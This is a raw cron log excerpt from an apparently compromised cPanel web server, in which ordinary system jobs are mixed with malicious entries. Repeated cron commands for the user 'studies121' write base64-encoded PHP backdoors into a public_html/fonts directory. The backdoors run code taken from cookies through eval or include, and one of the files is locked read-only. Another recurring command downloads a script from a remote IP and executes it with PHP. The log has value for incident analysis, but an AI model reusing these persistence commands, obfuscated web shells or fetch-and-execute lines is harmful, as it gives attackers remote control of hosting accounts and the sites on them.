Sep 11 17:13:01 ip-184-168-122-23 CROND[7924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:14:01 ip-184-168-122-23 CROND[8044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:14:01 ip-184-168-122-23 CROND[8048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:14:01 ip-184-168-122-23 CROND[8047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:14:01 ip-184-168-122-23 CROND[8046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:14:01 ip-184-168-122-23 CROND[8049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:15:01 ip-184-168-122-23 CROND[8159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:15:01 ip-184-168-122-23 CROND[8163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:15:01 ip-184-168-122-23 CROND[8161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:15:01 ip-184-168-122-23 CROND[8165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:15:01 ip-184-168-122-23 CROND[8162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:15:01 ip-184-168-122-23 CROND[8164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:16:01 ip-184-168-122-23 CROND[8262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:16:01 ip-184-168-122-23 CROND[8265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:16:01 ip-184-168-122-23 CROND[8264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:16:01 ip-184-168-122-23 CROND[8266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:16:01 ip-184-168-122-23 CROND[8267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:16:01 ip-184-168-122-23 CROND[8268]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 17:17:01 ip-184-168-122-23 CROND[8444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:17:01 ip-184-168-122-23 CROND[8447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:17:01 ip-184-168-122-23 CROND[8445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:17:01 ip-184-168-122-23 CROND[8446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:18:01 ip-184-168-122-23 CROND[8556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:18:01 ip-184-168-122-23 CROND[8560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:18:01 ip-184-168-122-23 CROND[8559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:18:01 ip-184-168-122-23 CROND[8561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:18:01 ip-184-168-122-23 CROND[8558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:19:01 ip-184-168-122-23 CROND[8645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:19:01 ip-184-168-122-23 CROND[8648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:19:01 ip-184-168-122-23 CROND[8649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:19:01 ip-184-168-122-23 CROND[8647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:20:01 ip-184-168-122-23 CROND[8744]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:20:01 ip-184-168-122-23 CROND[8745]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 17:20:01 ip-184-168-122-23 CROND[8750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:20:01 ip-184-168-122-23 CROND[8752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:20:01 ip-184-168-122-23 CROND[8749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:20:01 ip-184-168-122-23 CROND[8756]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:20:01 ip-184-168-122-23 CROND[8755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:20:01 ip-184-168-122-23 CROND[8757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:20:01 ip-184-168-122-23 CROND[8758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:21:01 ip-184-168-122-23 CROND[8878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:21:01 ip-184-168-122-23 CROND[8881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:21:01 ip-184-168-122-23 CROND[8882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:21:01 ip-184-168-122-23 CROND[8880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:22:01 ip-184-168-122-23 CROND[9045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:22:01 ip-184-168-122-23 CROND[9048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:22:01 ip-184-168-122-23 CROND[9047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:22:01 ip-184-168-122-23 CROND[9049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:22:01 ip-184-168-122-23 CROND[9046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:23:01 ip-184-168-122-23 CROND[9151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:23:01 ip-184-168-122-23 CROND[9153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:23:01 ip-184-168-122-23 CROND[9154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:23:01 ip-184-168-122-23 CROND[9152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:24:01 ip-184-168-122-23 CROND[9260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:24:01 ip-184-168-122-23 CROND[9262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:24:01 ip-184-168-122-23 CROND[9263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:24:01 ip-184-168-122-23 CROND[9264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:24:01 ip-184-168-122-23 CROND[9265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:25:01 ip-184-168-122-23 CROND[9378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:25:01 ip-184-168-122-23 CROND[9381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:25:01 ip-184-168-122-23 CROND[9380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:25:01 ip-184-168-122-23 CROND[9379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
